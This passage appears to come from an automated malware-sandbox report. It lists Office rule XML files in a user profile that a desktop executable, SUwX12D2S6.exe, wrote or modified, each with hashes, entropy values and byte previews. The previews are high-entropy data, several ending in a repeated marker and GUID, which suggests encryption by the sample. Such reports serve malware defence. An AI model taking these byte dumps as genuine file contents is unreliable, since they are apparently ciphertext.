6Ye.x..1PEk..?,~.Y.......^p...j...7..e../M..V^t.4...q.Z.M..m....>...._.].A....k.0NXFV...S.Hz3_..L.........MG....itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule500023v4.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	969
Entropy (8bit):	7.776603115128704
Encrypted:	false
SSDEEP:	24:oyBE8MUY8Ll1sAM9GdSqCUe8PrMYFnKay4lmDgVbD:pEXqOAEqV7MQKR0FD
MD5:	34DD00DE662BDDB68ACC6DD26920D8F9
SHA1:	2CC3243B0990A498C9A8663A1AFEE423CF0F6FC7
SHA-256:	7C89C72A661C6009D0FED92837C19931759337AEBCE9024D775BE24D20321A40
SHA-512:	F16F3283786949EABDB42A543ABDF98AAC944523D940A896EFA18C63D43738A10C8D42B8D177E2B616F6F62C303312D3AF1E7CC373CAC358EA5EA3CBE4E8959D
Malicious:	false
Preview:	<?xml......w\|..-poR.3...Ym...PpXO.p.\=O.3JT...8.e.....xj.....j...P..6....:..89=^.J..........=q.....K.q..7. .?E..F.r.!.\|..-...;UF.3.!....G..R.n.;..TX..qF.S.....jC..}?;.W.v....ESr.....-7v...\.<.._...^.s.........n\|...H.$.7S..h.A..K<`... (zS.t..4.P.....d..........)_..E~~.a.........\|..S......!.uG)(...A.1..;7m..(.E..]GI....0q..e....[W..G.../p..._P......9..q.}....u.4~.I.q.RL.b.k.P.h.7.0.?.M.....B.7>..... .c..C.z...>....9.(...........,7O.%jrW.6.~"O..a..........y\|...v.f..{...;..........Q......&..i..(m.j.C.JS..S......x0Un~..^.......K...\|?.......Jx@[mL...w.....P..5h?..K$.fY.I.I@....s./Y..l.H.....g.N...."bp.6.h...B.mi.$@3.S<.L..@.&.#!....S...z.. .C.o.....E.2.Me_.[.....U2..9).!{...R$..5.......Q.'.{{.f...B>{.]]..!.. ....Ve....IwA*...-j........7V.{S;.\|\|q...5Iv......h]9..054.J...sW.9.........mO...x.u.......I.hQ.......@.$..t.]].#..G.NB:.^.-.......itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule500024v2.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	1467
Entropy (8bit):	7.860993568811664
Encrypted:	false
SSDEEP:	24:a9FXFi5J3Lq+SsaOXPjKulfOjk5i9bMn31y/PaNlkXXtoEQJlSF4lCBVbD:a9FVwLq+S2fOjE3cnQVvaFD
MD5:	6F9882F0260AC88C3D1250F763E5A436
SHA1:	3E329764587E69BB0AF93682A1CA59B9BB223294
SHA-256:	92E88C60A0461C092DC98718AB6B7757FB4A83D856BF40DA549E0B8D0F3B9A35
SHA-512:	615BD90BEC9732A09EC1B5EB9FFFF4C46EDCC23635E222BB2E5FC46E6078325F48AF353F52391A3F2D3FE3D02754FF822477C204871B85320C515B177C282C18
Malicious:	false
Preview:	<?xmlv...o.0......UF.lU_n.m..B..hv......98f.2:..l...o.i....I.O8Qo...2R...5.'.c....\.%.P..>i..../S&T.R.S.nJ_..Ft>..bk.kj......\|...Nn.2k.....L...Q#>vT.LE.P.....6.....$.?.IIU.<..F..H?..K$pR..4..S...ze...A....3]..K./.\|$0wF.nD..V+....YQFW......B.AO.......Y..}.eJ... .Y./.-..\.R...+..z...)-.>..t..@..R..(.ZN.90R..f..'i....n2...SUUd.>...... ...3....c=....=..BMc?......[u.G...A..5....[.l=^.%Q.\.h.gt....KU.!..Y`.'`~.^..a`.x.........u..v[].O..V4..{.4..?;...{.....X1..Y.=..m..K.m...e.I....t..l..3.n\.t...hY....d].3..67.....Fnf.c...x.r..^.K4.Dm8.D.~xjF./...c.F7..J&.n..R^(...U.lQ .....c..?r...2..:ry..Z.1.r[3O...W$J...@.......$3.......3.N..K...i.....K<..g.YBP0.DW..kn...J.y....v.Xn..C...9!N.....\|t...Mq...._%.A...."....3.....oB...G.......p.#F...2Mg......}QO.r..7.0..z..s[.u..(..Z..&..e.s..P@ex#..)%...EM.#U.?.....O.<V..O..)}..]k.W9.8......O.$.U,n..1.}..pNzL7..R.....#.'$\.c.. .h}.(...K<T.k.V.gR'1<e.a....X.v8.z.$=.ZO=,,*..........F.2=<.i1......f..{.5>.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule510000v1.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	1397
Entropy (8bit):	7.843141895697274
Encrypted:	false
SSDEEP:	24:i5TrBylSXcCSpSEjiWRxchdAFI0h76VJTvFXfQOwY/S6vEp7GxtM5mQSQkSEMVbD:i5TtylWcCoSs8eC0lY1FXoMRvEp7GxIJ
MD5:	51B3438BAD2F2147D172B83C2771C0FF
SHA1:	4EEC882A26688C84FABDDD38200F83B4B69CEAEF
SHA-256:	4BBDC5A8817EE3F62CB3FAE0918E852D36A4CBC9477940E8D38B7FBADC2EB777
SHA-512:	6569CD2017859A8C0DDD5E706E587A8EBCA604A0C9CAF59A29B37F520C9DFC2044CF8D7AE331AD46F426F57E44FB02C787E851342D375F4B7608A9124A1A99A2
Malicious:	false
Preview:	<?xml.....4[(..U..5..i.o....!k.Z.\|......A..)..S;K....#...zE.V.)<....Y2e.......9.Ew=...e..%].. V.......K..[g.::S..,..\|..`..n.P>?.p.!H..M-J...t...Z+....:....IE...7E.Qw.H..7.....&....E3..5.@.1.Ec....<o.3.{..9.0m....A`.W?$..".U.c..2Jd.~.e..R....Vk...}..N..).&.......u..P.rr.J...V....~.h.w>...vKf..0...sb..&pp......d.....".<-.JE...o.Q.....I.:B..kU.3..A.,:);.).d.US.</.+.'O8MK.F\|...I..b..}KCN..d).1..,....SXf..\...cOa....ty.%t.hTI<P......Zj..z.bD..#y.B.W.<.N..q.....>.n....%R~..R......k....r..j.b.U.6[..=..Y.T.#.....W....../..2.F.:..2V:J...O_.S...<.`.......,g..b....H.M...`5.:U.+.:.r...Y......T.V....1.l5.t.^.i!....`f..= $.FB`...IM.-.......U...f......%Xs....<WW..qGr.1....E[M5j~WF`....&.IO.W...G...yI...>..\|.00...6-C..%%..Ox[D^v..\|..9....9?G.-.".j..#.......OW.9....}.....}N^..6U..d^.K...%)...W...W.c..f/D3.....(w.g....b.-...9-YLv....@........%^.T..f{\.<....G.^7..I.I4.....{.....m..-....bqy....\|`.6L.M.K..(..1C.....w..<...m.=..{3X..NG..e{.V=!r7....7..._xv>*.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule510005v1.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	1269
Entropy (8bit):	7.815197252225166
Encrypted:	false
SSDEEP:	24:8+VjgKeMwb5XYJMTBfqrK0O0soYrtckaPVE0qGCHOrLFVbD:TaKKJDTorcVoYFiVyRurxFD
MD5:	6DC924904FBE28AF31F68BBBCD4526AE
SHA1:	52184A00452A8C52644134306B5F6363ABC4A687
SHA-256:	FE4F9D70A2F121ED999B9571F8584D00938B7549C04453B86EBF0DB3DAA03779
SHA-512:	9CA8F535CF2CF19B53BC64002168BE1C15BDD9CCAD1B8A85F8B098DB39BFD09E38B6279362F2F0434609E2AF4BFCBB76BCEBADC168102F9C5296F22569B5F00F
Malicious:	false
Preview:	<?xml......\|Q.../X.....\|....O.R.Z.......`.7..I.q5...._4.c.F.^.KN...p..1[.^...D..p..[...f-.c.o....a!R}.%....cS...;$'..:.m.........4..)B..a...P,9gb<....9.5.8QL.{x.p.F.w3&n/2..g.rP.p.....Pp.=.L].kz..6.M.x.\|4";E..p...d...&...D.=>........l..3HG.E..&..E6.N`.~...ZH..t7..P...+...y....R....../.$.<..rm..!_..^\|..Gl.......,E..,.]2...`.x.c..qW.T.L,A.G.../...E..r>.}4.m..&.........$@....OT.....X.:i..:9...}.u.....ivk.._U.&..(....$....d.U...d..n...y9....G..0..-.C.e.U..5.@......(..>w. bj.b,...}R..~K_.8.O.......e.....l.qL...G.+...^.v..i..ExD7%.).G.....n'.#../..t...@...\|..2..}4.k.B..b..l...^../..4.Iy.....n.l.?.K.....}.d.B..x..j2x+~.j3.....?wl1Pm...EH.....{.@..b......A.`..7h.^.....$d.(:....G.}\|..4.Dk..6...../vJN..Ax.[5[..4..+g...{..[n2 b.+.D......{2<.qJ..g..)...F.I_3~.;....Uk...o6.IZ.T....ot_....L.f..].`..}.A.128...`...MZ4.^..-@.(.ws.I..p.....Xw.q....wc..N.....h....`}wc...2i........X....}a..s..,..h~Z..C.0.W..'.0&....R..*.4.T......WX..^V\...C^.^...~hZ3.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule510006v0.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	1088
Entropy (8bit):	7.836322224499415
Encrypted:	false
SSDEEP:	24:PdVqgN0WCsbHxsV7HZlTWOld1MoevkOJbda8ZZse8fFpXS6hPVbD:PdVqsCsbHQ7r8hhbse81NFD
MD5:	3F011D032FE60CCD36F2FC6DCE04541D
SHA1:	B57C0BA85FB51381EFEF570948115BCE31183956
SHA-256:	1E57BB130F823848F5B196DF75CB010A81729B6B05417FE5455205140D6F0A0B
SHA-512:	3343DDF8B1453167F7EBD1E4A81B8FBA50EB10841D9B2CF49ACF9B85E020714C57062249C1AB9270085B71CA48067CFB9A371A4F2B1E72C068F21D1E88CDE66E
Malicious:	false
Preview:	<?xml......&D".`..Z.F....`.+..E....Vh...:"=....4>kX...Vu(....v...;......\ ..>v......s. x...t..J.]...!.a..9\|....n6.....(..Me....9;..i.-.z..n.<}...c.G.U..O..1...).pv.J ..o.Sl......,j#"0.48..R@CI.y...a\|.........b...wc.u.@.%..(......\...{ ~...8..tAOt.........9q...t...h.....;...\..]I.....3I....o.$.L.4.........hY.H..P.;7..T.+.....^)..]m..)<.G..y.ko{.[R.["i..../....^L?......N.h7P.M.b5...T`.D..P)[z.....u.8L...n..nCn../.C>w.Ph.g.e:.%....^Z.8. .'.W-#u..M!..w@.$.mI ..@.M.......Y...u.=..vH:....z..xj..8..B..,.._...f#Z$..D.&4...NK..p2....In....9..-.ItZ...v.]..z.\|..>..s{..mz./.N6Z.&.v$..1z.Y..@....W.......Cb=}E..s.N.v.......]....[.y[......cR.. ...x=.....'...g:=6.b?}..h.?.....%L..W..o_c......K..q.E...........W...B.}...k...........@&j...M0I&...m.&D....:.V.dP.:.)...&....H...B.....el+....<.(...<.7\|.GvM+...,]#..%tYP0.K...{.2.O....aq0.KQ..........\|...9.y.p{$.-..0.W.Ey.-....H.q.^..%h..lQF.?.-......"HC........J.D...P....:...S.a.{q..j.K...\]T..6u".l.A\.m"F.p

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule510008v0.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	1100
Entropy (8bit):	7.828110289212971
Encrypted:	false
SSDEEP:	24:D2cRNi5syDqLdjb86zzrRMABsQQUy+Hjmr+TkHDfd2uy3GVbD:Dk5syWh46/NMDkSnDXQGFD
MD5:	46B13373600BF375ED27EA9ECE041761
SHA1:	CA5196D1FE50B707E71D035C7DF1E96475493914
SHA-256:	62DA6475448605AF70ECAB6A8EEFC31B36730AA1524A7704585445C18335A304
SHA-512:	6AC00DA31CD22465DA2CE1985874834A4090E9295E65FB233C78B18D1AD3E384AB019BAD82E4D939F70DB2268B1468B9B44FE43E4A9F8CE614DA3407132C6CDB
Malicious:	false
Preview:	<?xmlj....3.Z./;...G....,.5.o....\|#ib.'.Y.I..[..cP...I......gcI@..._..W...c.l.n....._.@US.3s.h.C.(i.X..'.\..OL...5[(..u@..............X.M...Z.._........ ...d.).l.`..h:.1../.....T.#.......W.:\ry.u.V......JI..aP.r-.b........_nI....t..s....\,.wT.<.V...&.%.D.....G.>..,=.Fk.......[..R.@.0..).....\^.xf.s H..#....<..5....".0.\|....[t.Z..... ...C.S..zV>..\|h..(......7....i5.]....3...x.'....(......u}{>/..N rh..6...o.'.&.3..P.pbS.....7.w.....r,58...T.,m...s....,........... ./.&Z.A....O..e......x.E ........\.cx.K.2...3..."'^/....m/..?.....-."...g...#]...K..;n.:..[.W<+.+..Y...Dd\|Rr...d5+..FH5...Q.4..........2.\|P..<Q...O...IU..;.i...$.".[../...l...T&Z.F........E.4;..p.....>...X..&.....9.0d).......av..2..A^0\2......mf....y.....y..%......BN..P....Q..w9l..2C..6.....Z...}y../...W..:..@.oQo.M0.1E...G..:Y..k....S....=K...m.!.-5...-.pF...f.h..m....i..zx......B...J.O..........0.1...U..L..._..MN..h.....l+u}.d.g.T*F"O..a(.2.H!2.`5..K..1....R.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule510009v0.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	1192
Entropy (8bit):	7.83286383490871
Encrypted:	false
SSDEEP:	24:gNQ5rt/BRCpHIT8n9mE/tU5AwfHUfphZwT1Wcuk4qGWkRVbD:gNA5BRCpHITme5AdRcT13MqGjFD
MD5:	570C046486D8E8FB290E00E268A3062B
SHA1:	CCD1910E37B73F9830E1A19625ECA42D62BD65CA
SHA-256:	3B14DEEFDABCCD8625A79302E4147784A6CE8D4E49193EF170B9C067CDF40692
SHA-512:	551C8B28FEE2DAE268A9633DCAAFFD77B2817205DB071F882937FFE46ABF5A56331DE95257D1F7721678299CFB346BC2B486902081824FA681B5BFA35CDE81CC
Malicious:	false
Preview:	<?xml....Xp&ZR.VYU-.3........'.3.X...h.@....D..L<..].\...3....}y..gH.........vo?.o...x=...{...F.L.z2.......s.Q.3......a..Mx4.=H.0.....6&v.GR......u...,..Ab_.W..i.Lr...c..U<&...J.....C..>..T.g..Q...;..c~R.OI+.$7...d.../'_t.#.....YP.\h.......l..Cl...B..:X...\|.X".......OA.,..kC..48F.J8O.sMv...C.ac{....)..(......Lb.... ....eL..R1....._.....B..I..5..7=.w...J^.!...Y......[Z-.......mr...I.8.]..{........s_..z.+......-0..ZK.....d.\|......_/.\|..<5.r.......\..,....%.Lk.k...9.y.S'......R.~......Km.^..+.Y..........$.g...F.."....qw.j.R.....O...p......\.8..vp........(y....5a.A...V..L..1dy.n}.Ga.&..Y.X...yk?.S.gk...-./.d.G...pJ(....,..C......F..\.......Z.p.r.....O.$.^./Q.S.Ms-FP.s...@...n;=X.L..+...,...8]7/g.....j.F?}<$.T}.,...cq..#R.F^/.r.[,..q.......Q..j....7J...v(..\|..0.....&.4im........&b.q..u..b?..V...\|.2....E.Le..{A.U K..>qv..X..^..Eu.o.._.Ey.....i.?...O<..O...W.r&..,...W.-.H.&W..L..J...BR...=v_.@6..g..W^.....K<...7.C..f.]..........'0.^>.]{......_..w.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule510010v0.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	1031
Entropy (8bit):	7.816464181917482
Encrypted:	false
SSDEEP:	12:a1z4zBoHG1BHbXb2oWvErKPswgaWygVk3POYVWiO3ev/WHEKGCmr7v1dhEwzD5n0:64P9bCoCcaVWJSVBEe2HEJ7VhCwnmVbD
MD5:	9F6301DD11A1361103561B959CA692A4
SHA1:	5D3C4D868F5416514D5CD857F22C7C931766B411
SHA-256:	CB3CF97FFEB173B8BAD41E668D37FE8B8AEA35E30E32F4A4565C276B95A9D563
SHA-512:	BB9148E204B90275FAB0481DBD4853E58D030AE6EA3E46405EA0AF5D84F94C24DC3439D5BF4666522FE1C7802665C2A3E5FE4BACF63E8FA758BADD3FB06C0A4B
Malicious:	false
Preview:	<?xmlw-.d....;i.x%P.?.......~J........VL..V..WM....R..O.[..F.D..-R.y..v...'. .J.....%.....7...l...1...".~R..:.....\|?Z._t.J..oz..I.I...o.7.......B<m...+.~S..u.O..YU.^.Y=.^...A....a.Y.pe.L}4.1+..eG..`.^.....M..K;...\.k.....%$>.....M.hwE/. ..b..:.....y.u....H.[...S..-.pu)/..\|.."....v..Air]hk.E...1y..U(..V....b.Pv./.bf.2.f0[j+^.B_...O/..g.W....y}....^...?v.!8..2jM.!rM..&_.5...q.@......P.:..}DjB3$E...h..Z..+....h.&.4...s............. ..9.S....h[{...?...+....( z.,..iI.%4?..M.5c...L..8......;......C....[O....#...s..c.J..?T{9...2......X.+:.{.xH..)a..U...W..z^...j.O....Hi.......:...M.}.......Jb.W%1&.D..be.a.l.q.d.K..~.`F'..........#9...km....{.8g.Y.B.0..Q........C.D.n...I.2..{.%..+%$....[..}..,...T....@....+.F.{.}.L....FRL....G~.g.`..R......%....{......8.NK......:_.E.`.....z...P.t.!.5.=q.0..v~.-\|371KIB...[....F....T...-X..r.b../e.....=O...k,.+`.9..m.\|.6<.5..y.kV.Ix......R.36~..v.>8..itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule510012v1.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	3884
Entropy (8bit):	7.9501410640672345
Encrypted:	false
SSDEEP:	96:msErX7ucOril1R1jfm7y4iCrmDck3cpyhdafki9:EvuroR5uzirDxcpyzy
MD5:	2A672E017F966340E027D086491C38C9
SHA1:	62D7B70892E08C15370A33AD4500EB1A5BD132BB
SHA-256:	1B830EA268ECCDCD8E2C4BF48C09C38B629ABFBDF30E9852CD4707EB0AF9CAF0
SHA-512:	44F3A1C3EBF087DAC4C4C8A7D6D9CBA539B084D8085F047867A0F3CD682A894589FF694DCF51A443D4BF4CB666F8A5AC1503ED59347AEDAF62CE0101613CFD87
Malicious:	false
Preview:	<?xml^W:...!.W...$`..4y...DS0}52p......q.o.o..".5.;O::<...C.o.3$......$..mf.eLs.!u3.Q.!.p..x._..=.D..PXE.Q.d.P.@..].......Q...i.x......C...b._l.....c.0..l2...[R.a....s..._...,.\|..I.2._p=d..7.@u.X..`..T.......3M9..C...<!..W.DT..Vs.f;......F....@T...0X....b.z~..<.q...d...K!S_...]o....oW............R.%QK.....Pk.G..}.v_]..W1O..T.y...WJI.y.E...M..M....}P....URa.R..I..;.6f.1.#56.0..H..._..W.)..Tb.@....:.....>8<..^.~...s..`.........>80..{..u..L.....G.X.C.^..4..].KD.^Jzwb.3...dIY;.5.A..8j..._.L..6x^...f.Y....] -(..S...A$....2.....I........`...h....y.UR.0.B.....On../.O...K.i..m.G . 5.I.l.'.eT....j..\|....>.Z..[...+.7.y..0.E..GXb...>...o4#..j....e'...-...]&.x,../..:./}A....i..m....p.#@......9z...q.....I.....,!.uG...e.qw....l..VG#....],p......;...eG..."/.oN.l.......{?.......w.yp..~..%..P.A..T.mg.....H.....?l.......'t8.'..........x.....,K.......:...H....X..=..O...&.!.`.%:.U.tdk....48w.g]..@5s..,..m..wb.p.....h."..Y..6.1..v._...z..R.O$xuY..k.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule510015v0.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	790
Entropy (8bit):	7.750710774257776
Encrypted:	false
SSDEEP:	12:fHkUsn6Z9v0QehhzznO567EfRuv872bGUVoftZTVh8wBHbLG1jIOpjVcii9a:fHkqJCjzMRulGUVoFZTVh8WijPRVbD
MD5:	D0D28AFE2E9503D811A946E8DEC1D7D9
SHA1:	F853E45EBA28DF280F97087B82A5189901E16556
SHA-256:	AE60212DAAC9FE878EE713FFE23F2A9E93E484702EB71F204185D452C4896214
SHA-512:	ADE1FCC0ECEEF2E076BB90E6B1690C69A26E045F75A49112E56AF73EEB540A09A88B8596972AEA935614DC9F36FA1237930B20CB28ED36479B812AA0BFDA1113
Malicious:	false
Preview:	<?xmln....s..}......~....npgd@.L..W...$...)J.0yLM B..+...h.o......+7.8YlnQ.[...&..w..G},..`..B...6~.?..__2...Y.vB6.O.s...;.L..I...6%NK.......E..>L..XL..C..x..T}.S.>L\.T.w.)nn..(1;).S..m2...U...I:....mU.?F......t-.B...E...z..F.5`.X.L..'K..\|..VV......].m."d%.O..tu.%-....b.g..U.}....HhZ.....8.aZ.....jXuI.Xw/..x>.....=..X.6.k.KQ..-...f.V.....p...\..x....\|..Q....<.G.!,.........^.C.....H...V.Z~....z.:.-..../...)A0..e..Z.YE_W..I."2..B.....l.......[k...Y.1o.2...R...Ira.H.S`............V.I......1"<..g..d...v..0..'...jN.....H.......L..}...j&....T@..~+.7D.e.UJ#...x;....C..,i(q..I._..@3.....0.?.C..:..........C@...0.....0F...1.mK....5.a!._.Rz..q5....!k.^.N..Vp.X+J...:.>..'.)^...itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule510016v0.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	3934
Entropy (8bit):	7.947924122930462
Encrypted:	false
SSDEEP:	96:tgIkP4eSdTF6mmw7HnZMI+NNV2C8T3eo4EWRKUkx2ZGyKkHN9:BkPupmQnZMI42reoxx2ZGvkHj
MD5:	37A0F17020C824736EC6CDBE8763778E
SHA1:	42E645BF3EEFA982709CBE48699931836D2CECEC
SHA-256:	7C5BCA15DAF0CBF97EA4405B99CE9A16ECADBEF04858C8DC324DCFBAF6C95052
SHA-512:	C9A82E11B1B8C057DBABBCC32A4CC47DD4F09C8538ED7FF7773E14FE0A8B3A797B12BAD6931381FB9F2480085941FD60662D3B7BA534C97235987C8A60A5A5D0
Malicious:	false
Preview:	<?xml.yr7.X.e....9...m.CTQ...p._..V.J,^!H.*..i.rY..k.......k.M.#.E>..."...T.H....o.AH..3.z..D.G..h.c.....)..HBS._....~ ..7..fmF..G@.;..2.`...v.m...'.h.6....b.s...?(.!.-=.0....1....Z..zy...s....$...M..KY.-qc.F.-H4./.N.....O.&a`.....3.......}...WY$.....X./3q.?...o\|............0].;X..?.$...^...:c8N.=.W....... .s-..?.._.d5....$..........+_un...~..G<`..v^Ch..S....NVv.vI...BGp..1.. .+..Uu.tTj...(..})..$R.Z...Y........k.}Z`H..6.l+....d...;......,F..5.qQn...q........A....j9...Mt;.78.q...:-..."h.A.&...\..DI8F;..X.6.....j...=D....H..M.=..=.p...!hH..z.........&.SJG...P..;.$..-...4.'.2.........{.....s..N..[i.[..w>.i...."..8w5.&D!.>..(......g.\|..D)Y....D.X.Mi6.V.U.G...V.V.8/H.0Lg?..y........O.mu....(..2W.;.r.A.O..>...R..../...UalCV!^..p[....C....l2TU...........N.3...{.;..p...Kt.).#Q.NS.8i...KhW!.XW1.d..'\|....0N...1.8.%. %.e.1q.g<G...Y.`.M.2..WR6.Tp.....;qz..7s.j..._..!M...c?.N..U:.?H>..]../Y.....\...O.O1..2:53.j...I.r}bJd6..K....~.=............%..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule510017v0.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	1148
Entropy (8bit):	7.812988799944759
Encrypted:	false
SSDEEP:	24:GcH1m0Ui7KvFQBZG+k08AgZEdaX8by5z7MquH45kAr8VbD:11m0UeKvFQyLUgZuqL5v0m0FD
MD5:	C53DC72954E7E2C17E973860964D5B4D
SHA1:	153CE155CE7D1921C050201560A1B2F1428AC978
SHA-256:	2EB1564165BD44B24D7E363439FC3EC9E8A6ACB4E5F49E6671EAAF290A84E7B3
SHA-512:	28D3B7949216A3E57E4FFA0E84FBEB66848D768A3B19C1FA66139953F6E3741999B27F6A72979568409B09A516633B488ED0A16C492B4CDB9883E91AC12A8F9B
Malicious:	false
Preview:	<?xml...]...6..f....`_.<.........-S...J2yW.Xf.i.~p...8.>......}........E.ux........&..jk-W.3.....Q..{....+.J..!.o..@9..XC8&.NH2:...zs.$.R.Y..n.^...zi.N..I...<.&..d..;.%#....Z..GO.Y..Y..8./.`H..5..ke.cI.....r..Lf4.....k.Y..r..?i..kQ.r.1.:..`......K-.@/....W.4.v....!#..d.q..P....QQ....W...;.<......\|q.+L4. ..L..J.......K"?+....B.%...s..^B...kx.h..E[)........a...n./..&....n.%."n...z...E.G.@.E.$..A...a..<%.n....o.;.-F...6....l.d.F8_..XD......i.;..^x.J.e..y].J....}..]..u<..4[...q......=j.X..VT.@...y........8\tV..U....(...6..4w7.!...M$.d pw..)F.,..,.m.....+.wH.o.]........m..:!..#...4..U.F..p.U.+.c.0&..:.........KR......y@.+.N.c.....S%f.'..!..nT.ZKL.}..+]...J.,.h..H.^=.$..6..9%x...M..0A.).....K....rd..9U...cl...qe.q..]....B.e.<.V.g...>x.,..4..Ki.%....).5X.F.Kq.....j.".P ..O,Sc......~..b.N..wf...4.[\|...v.}.M....~X...Ii.d>ENM.1lIS...[..................B._..Q.%:6.p;R.......dn...t.x...@.>...#...x..e1..F.~..y.A..E.zJ.../..t..n.....n.na_p..n.2>/tG..m..l.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule510018v0.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	1782
Entropy (8bit):	7.894128630860412
Encrypted:	false
SSDEEP:	48:f1MpNHmDer8d1vKrblLt6ym8CvpWGpFdSFVAslIyFD:fLvf2BtqvsOduVAslIy9
MD5:	9B604C442A850AEA15C9E0E4731D043D
SHA1:	A0752D84FD0DC7E451FC42C68ADA3A5202FE6041
SHA-256:	6622CD92CC835B06537EAE5D2205BF5A03928DE4A61FEB504995E81E71CB0F6B
SHA-512:	DCF615B20E0DE8583BAFB742FA3FBC2F21AED8590E6C0F93F1C915AD5E331A3848FA502735C3C20B81F90F4C9C32C56375C4AE5474FB45E62F251FC7672654B5
Malicious:	false
Preview:	<?xml...2o..re.<J....}.K..=.r..q.....M...Z....V]e]Qz.j..K.-8%:...!..}o.@t.$.fI.q....B......i=sd9.x......!%qL..B"\|<\./+.j....C......f/.8...z.....C...[.YD...Q]O.2).I.pa...V...o.T]..'.E..!..uqS..6..g.nHW...%I...\..#.C.;4.c...>..[q.Y..2.......jq,.h.......A.,w..X..g..k.R.,."...............]0..=.C;........Eiq.kc?.JZ..h..(..,:st..{w:n.5..D..G......'a..".P..\O.......u.N..e......;..p".O..K....8G..[.Mv.....a.....a..#.....V..r...4B....T.o....m....c.OAw....T.....M....N$I...... ..H...1...%).c......y......lJN..^hk.w.9........o...O..t..Kh<is..Tb]....3.C.....\|@..i......VV)....Ye....=....q..7.Jp...4.t.Y..=.(>..._:..h.F.........u...%...wK@...,I..X.?...........~.9.../..f.Sg.@"I./36I.5uI.....J..%Z......].........S..t..2..R..].....t...R....M...$+{#V..u\|...{ib.h.E..7.Q.fu.!.[..p..\....<.A..$+....[..pr.;f..7a..&..n.._.LQ.........4...pk.6.hW}/-=.3..Z.....J.@C1b..&.TK@P7.6U.=..w..5.\|.!..`.....>.d.R..<..0...!..$.j.$..H.....<Qu.G.&(..p.'.........Q.......k

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule510046v0.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	791
Entropy (8bit):	7.735204131038309
Encrypted:	false
SSDEEP:	24:d68/Ck4XtlDBa7p1zfg2SGzBujXAKi8iVbD:d68O9q7p1zflzBGXNiFD
MD5:	6BFA1F0EB37F194D09BA103CED296F82
SHA1:	2853EFE085067C886596485308EB29E0F3D212BC
SHA-256:	39B28CF44384180AD71264FC562D1CD6E8749B149C367ADEC9410BB3C3A444BA
SHA-512:	3C1246422C86A4BE86516276F4A6D4B2D94D3CF8A14FCC6A92CBF446DD265376DDCAF299EABA17E41E300CF22F2B7F36A953F16D8E466AE88CC7116FC8A8C478
Malicious:	false
Preview:	<?xmlP.7.........Y....].G....H.q.9.LD....,...P0u.p.-.L...g..<s[.I@.G-.exeiqm.dG...#.Yt8.WXfH.C0....%}'...p.,=Px.PO^....u...V..mk....@.......$.,_..F...-.N.#>,.!.r...6.%@3uo.g/BB:..}........qM5...&..Q.]+.i.}c)o....7...N.e....UJ...../.`VBH.j..b.<u.`}...P.....%R..0........V/......0A.....~.{..7.....E.........^.....M..X..n*.5...M9...j..\.].....K^....>"\..l..n%..F.....qX....cU.O1}..].._m59..k.6....?.,.w(Ad.R...Eo.....y.m.^....N.....:.)..}mM(. ..K.G.3...0.d...U....:.E7.l2.dt...4.TS..J.n...7..........L..@......l.]$..C3..-.Dz.#..[h.+....]k$...X7..vk..6(..WT...J......W~.(...D@$......s.Q./HgzS...&....<SO..Z....8.8g..d....KBy.'...,......<0..S..."tPBD..l...@e...]TJ...I}..FV.6..x..O_.itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule510047v0.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
